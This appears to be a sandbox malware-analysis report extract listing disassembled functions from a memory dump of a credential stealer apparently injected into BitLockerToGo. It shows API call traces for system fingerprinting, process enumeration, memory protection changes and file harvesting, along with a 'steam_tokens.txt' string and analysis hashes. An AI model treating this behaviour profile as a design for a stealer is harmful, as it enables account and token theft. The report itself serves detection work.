Part of subcall function 027687C0: GetDeviceCaps.GDI32(?,00000008), ref: 02768804
Part of subcall function 027687C0: GetDeviceCaps.GDI32(?,0000000A), ref: 02768813
Part of subcall function 027687C0: ReleaseDC.USER32(00000000,?), ref: 02768822
Part of subcall function 027687C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,02770E28,00000000,?), ref: 0276882F
Part of subcall function 027687C0: RtlAllocateHeap.NTDLL(00000000), ref: 02768836
Part of subcall function 027687C0: wsprintfA.USER32 ref: 02768850

Part of subcall function 027681F0: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 02768254

Part of subcall function 02768320: RegOpenKeyExA.KERNEL32(00000000,029E30F8,00000000,00020019,00000000,027705B6), ref: 027683A4

Part of subcall function 02768320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 02768426
Part of subcall function 02768320: wsprintfA.USER32 ref: 02768459
Part of subcall function 02768320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0276847B
Part of subcall function 02768320: RegCloseKey.ADVAPI32(00000000), ref: 0276848C
Part of subcall function 02768320: RegCloseKey.ADVAPI32(00000000), ref: 02768499

Part of subcall function 02768680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,027705B7), ref: 027686CA
Part of subcall function 02768680: Process32First.KERNEL32(?,00000128), ref: 027686DE
Part of subcall function 02768680: Process32Next.KERNEL32(?,00000128), ref: 027686F3
Part of subcall function 02768680: CloseHandle.KERNEL32(?), ref: 02768761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0276265B

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CapsCreateCurrentDeviceEnumHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerDefaultDevicesDirectoryDisplayErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 2572046482-0
Opcode ID: 824079c2c588f45fd10f6373657e78171126a47979693f99ad11161fb5c0c8d1
Instruction ID: 5b9f7cf62b42a0c61628785adbebf37ba441757944cbd5042a840be5ea1a779d
Opcode Fuzzy Hash: 824079c2c588f45fd10f6373657e78171126a47979693f99ad11161fb5c0c8d1
Instruction Fuzzy Hash: 7A721E72C10119AADB1BFB50DD9DEFEB37EAF54300F6042A9991672450EF702B49CEA4

Function 02756BE0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 02756C9F

Strings

@, xrefs: 02756C79

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: a1f85d4d128feff6c8a794bf766b9bc67388e961bc31ab34bee39463aacd34c6
Instruction ID: 87864c4835aff3bcc21bfd5347aef053d89e5d8af9e2aa879a62eb4b07acaa39
Opcode Fuzzy Hash: a1f85d4d128feff6c8a794bf766b9bc67388e961bc31ab34bee39463aacd34c6
Instruction Fuzzy Hash: D7210574E02218EFDB04CF88C494BAEFBB5FB48314F908199D909AB351D375AA81CF80

Function 02756D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81ff7576077843eb4b190c2239df43ef87eb9afa53350f746e4062e8a01e7a99
Instruction ID: 63c20c4b74bc86222c45ebd7a40f8dbbc21aaff9e49e26e8bfdae5f5b51a6df0
Opcode Fuzzy Hash: 81ff7576077843eb4b190c2239df43ef87eb9afa53350f746e4062e8a01e7a99
Instruction Fuzzy Hash: 5961E5B4D00228DFCB14DF94D988BEEB7B9BB04304F548598E81967280D7B5AF94CF91

Function 02765100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A820: lstrlen.KERNEL32(00000000,?,?,02765B54,02770ADB,02770ADA,?,?,02766B16,00000000,?,029D0578,?,0277110C,?,00000000), ref: 0276A82B
Part of subcall function 0276A820: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A885

lstrlen.KERNEL32(00000000,00000000,02770ACA,?,?,?,?,?,?,0276610B,?), ref: 0276512A

Strings

steam_tokens.txt, xrefs: 0276513F

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 53defbade45ee06f6a7f18ab90fce52acb0752d57bbc9041b6808b3bd8866602
Instruction ID: aee82fc18b99fd137f73fc4fa068a717c053a9725c4a3d10ce9130d71504a897
Opcode Fuzzy Hash: 53defbade45ee06f6a7f18ab90fce52acb0752d57bbc9041b6808b3bd8866602
Instruction Fuzzy Hash: 08F0FB7191010866DB0AFBA4D86E9FDB73E9B14300F804168AC1662090EE356A09CBE5

Function 02751160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,02766A17,02770AEF), ref: 0275116A
ExitProcess.KERNEL32 ref: 0275117E

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 1ec3c13018b18696ed51958c5070939da7195c1b5516361040f53e8220583923
Instruction ID: 1d186b5c6e996bf301a60b186ef9c12c6c711f1f5b1eddd777d44d9ad20f83ca
Opcode Fuzzy Hash: 1ec3c13018b18696ed51958c5070939da7195c1b5516361040f53e8220583923
Instruction Fuzzy Hash: 4CD05E74D4430CDBCB00DFE4D84A6EDBBB8FB08222F001994DC0562340EA315891CAA5

Function 0275B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Part of subcall function 02759E10: memcmp.MSVCRT(?,v20,00000003), ref: 02759E2D

lstrlen.KERNEL32(00000000), ref: 0275B9C2
lstrlen.KERNEL32(00000000), ref: 0275B9D6

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: a93a9974d8ceaa273813499bce9089d8a252603e8cc9003228e7555f0b872d96
Instruction ID: e16f883db57f624bd12eb4f81953384fb376b93ed780db3ebe75b1a615954361
Opcode Fuzzy Hash: a93a9974d8ceaa273813499bce9089d8a252603e8cc9003228e7555f0b872d96
Instruction Fuzzy Hash: 5BE1EC729101199BDF06FBA4CD9DEFEB37AAF54300F504569E906B6090EF346A49CFA0

Function 0275AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

lstrlen.KERNEL32(00000000), ref: 0275B16A
lstrlen.KERNEL32(00000000), ref: 0275B17E

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 92ff4d0349f08ba1ce3ec15da1c04501e95255ddf055842875e7cb5f151fdf79
Instruction ID: 09c6306d6c320e881879c6e40ad6544ac3e11abe809dda4c14279f4f05969a5c
Opcode Fuzzy Hash: 92ff4d0349f08ba1ce3ec15da1c04501e95255ddf055842875e7cb5f151fdf79
Instruction Fuzzy Hash: 20912B729101199BDF06EBA4DC9DEFE737AAF14300F504569E907B6090EF346A09CFA0

Function 0275B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

lstrlen.KERNEL32(00000000), ref: 0275B42E
lstrlen.KERNEL32(00000000), ref: 0275B442

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 53a1f576b038d5d1df5a244db986c93c08d060d327b8f2b75fe6d2c8b9f697b2
Instruction ID: 0462ed31224aeb6dc920b3177215c6f9c2753c2dd499ff21e724332a1a0ccfc4
Opcode Fuzzy Hash: 53a1f576b038d5d1df5a244db986c93c08d060d327b8f2b75fe6d2c8b9f697b2
Instruction Fuzzy Hash: 84710C729101199BDF06FBA4DDADEFE737AAF54300F504529E906B6190EF346A09CFA0

Function 02764BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 02768DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 02768E0B

lstrcat.KERNEL32(?,00000000), ref: 02764BEA
lstrcat.KERNEL32(?,029E5218), ref: 02764C08

Part of subcall function 02764910: wsprintfA.USER32 ref: 0276492C
Part of subcall function 02764910: FindFirstFileA.KERNEL32(?,?), ref: 02764943

Part of subcall function 02764910: StrCmpCA.SHLWAPI(?,02770FDC), ref: 02764971
Part of subcall function 02764910: StrCmpCA.SHLWAPI(?,02770FE0), ref: 02764987
Part of subcall function 02764910: FindNextFileA.KERNEL32(000000FF,?), ref: 02764B7D
Part of subcall function 02764910: FindClose.KERNEL32(000000FF), ref: 02764B92

Part of subcall function 02764910: wsprintfA.USER32 ref: 027649B0
Part of subcall function 02764910: StrCmpCA.SHLWAPI(?,027708D2), ref: 027649C5
Part of subcall function 02764910: wsprintfA.USER32 ref: 027649E2
Part of subcall function 02764910: PathMatchSpecA.SHLWAPI(?,?), ref: 02764A1E
Part of subcall function 02764910: lstrcat.KERNEL32(?,029E4B48), ref: 02764A4A
Part of subcall function 02764910: lstrcat.KERNEL32(?,02770FF8), ref: 02764A5C
Part of subcall function 02764910: lstrcat.KERNEL32(?,?), ref: 02764A70
Part of subcall function 02764910: lstrcat.KERNEL32(?,02770FFC), ref: 02764A82
Part of subcall function 02764910: lstrcat.KERNEL32(?,?), ref: 02764A96
Part of subcall function 02764910: CopyFileA.KERNEL32(?,?,00000001), ref: 02764AAC
Part of subcall function 02764910: DeleteFileA.KERNEL32(?), ref: 02764B31

Part of subcall function 02764910: wsprintfA.USER32 ref: 02764A07

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
